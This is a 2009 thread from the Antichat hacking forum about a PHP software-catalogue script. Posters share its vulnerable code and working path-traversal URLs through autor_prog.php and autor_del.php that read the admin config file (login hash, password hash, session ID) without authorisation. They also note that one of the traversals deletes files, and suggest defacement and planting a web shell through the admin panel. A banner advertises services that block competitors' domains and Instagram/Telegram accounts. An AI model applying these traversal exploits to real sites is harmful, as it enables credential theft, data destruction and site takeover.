Уязвимости Каталог софта 1.0

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
Уязвимости Каталог софта 1.0

Опции темы

Поиск в этой теме

Опции просмотра

Уязвимости Каталог софта 1.0

01.09.2009, 21:21

FriLL

Познающий

Регистрация: 14.09.2008

Сообщений: 30

Провел на форуме:
117615

Репутация: 21

Уязвимости Каталог софта 1.0

Скрипт с сайта homescript.ru

Уязвимый код

PHP код:


		
			
 $file=file("db/autor/$_GET[id].txt");



          foreach($file as $line)

                     {

                       $line=trim($line);

                       $expl=explode("*",$line);



                       if(file_exists("db/$expl[0]/$expl[1].txt"))$path="db";

                       else $path="db/pre_prog";



                       $file_new=file("$path/$expl[0]/$expl[1].txt");

                       $file_new[0]=trim($file_new[0]);

                       $file_new[1]=trim($file_new[1]);

                       $file_new[8]=trim($file_new[8]);

                       $file_new[10]=trim($file_new[10]);

                       $file_new[11]=trim($file_new[11]);

                       echo "<table width=80% style=\"border-bottom:$conf[69]px $conf[70] $conf[68]\" align=center>

                                  <tr>

                                     <td id=zip_head_prog_news>$file_new[1]";

                                      $stat=array();

                                           $stat=file("db/stat/$expl[1].txt");

                                           $stat=explode("*",$stat[0]);

                                           if($stat[0]!=0)

                                            {

                                              $itog=ceil($stat[1]/$stat[0]);

                                              for($n=0;$n<$itog;$n++)echo "<img src=img/star.jpg border=0>";

                                            }

                                 echo "</td>

                                  </tr>

                                  <tr>

                                     <td id=zip_text_news>$file_new[8]</td>

                                  </tr>

                                  <tr>

                                     <td id=zip_text_news><span id=zip_dat_news>$file_new[10]</span></td>

                                  </tr>

                                  </table><br />";



                     }

те читалка через file()

читаем конфиги (права админа не нужны)
admin/autor_prog.php?id=../../admin/conf/conf

Вывод идет в перемешку с error-ами
но прочесть это не мешает

в конфигах 3 строки
1) хеш логина
2) хеш пароля
3) идентификатор сессии админа

Последний раз редактировалось FriLL; 01.09.2009 в 21:28..

01.09.2009, 22:25

HAXTA4OK

Reservists Of Antichat - Level 6

Регистрация: 15.03.2009

Сообщений: 560

Провел на форуме:
4358210

Репутация: 2017

Ну давай дальше пойдем

файл autor_del

PHP код:


		
			
//Программы

       $file=array();

          $file=file("db/autor/$_GET[id].txt");

          foreach($file as $line)

        {

           $line=trim($line);

           $expl=explode("*",$line);

           $cat_id[]=$expl[0];

           $prog_id[]=$expl[1];

        }

получается мы реализуем так:

http://127.0.0.1/file_zip/admin/autor_del.php?id=../../admin/conf/conf

но нас кидает на admin/index.php , затем просто возвращаем назад страницы и видим

Warning: file(db/autor/'.txt) [function.file]: failed to open stream: No such file or directory in C:\xampp\htdocs\file_zip\admin\autor_del.php on line 26

PS так пойдет? таже самая реализация, если не понятно напишу не просто кавычку

ЗЫ ну увидиш их зато в последний раз

и если так подумать то это не уязвимость?в плане сделать не хорошо

Последний раз редактировалось HAXTA4OK; 01.09.2009 в 22:44..

01.09.2009, 22:32

FriLL

Познающий

Регистрация: 14.09.2008

Сообщений: 30

Провел на форуме:
117615

Репутация: 21

и причем тут autor_del.php ??
(autor_del удаляет читаемый файл так что не
рекомендую его использовать)
s55.radikal.ru/i150/0909/c0/f728c908575c.jpg

Цитата:

ЗЫ ну увидиш их зато в последний раз

разве что для дефейса сойдет

между прочим в админке форма управения кодом,
так что залить шел не проблема

Последний раз редактировалось FriLL; 01.09.2009 в 23:10..

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Продажа от Goldriver'a	Goldriver	ICQ - Покупка, продажа	3	06.07.2009 20:15
Мобильные браузеры Skyfire 1.0 и Opera Mobile 9.7	jerrri	Мировые новости. Обсуждения.	0	10.06.2009 18:29
Перевод описания плагинов w3af	Kuzya	Статьи	4	07.06.2009 09:13

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход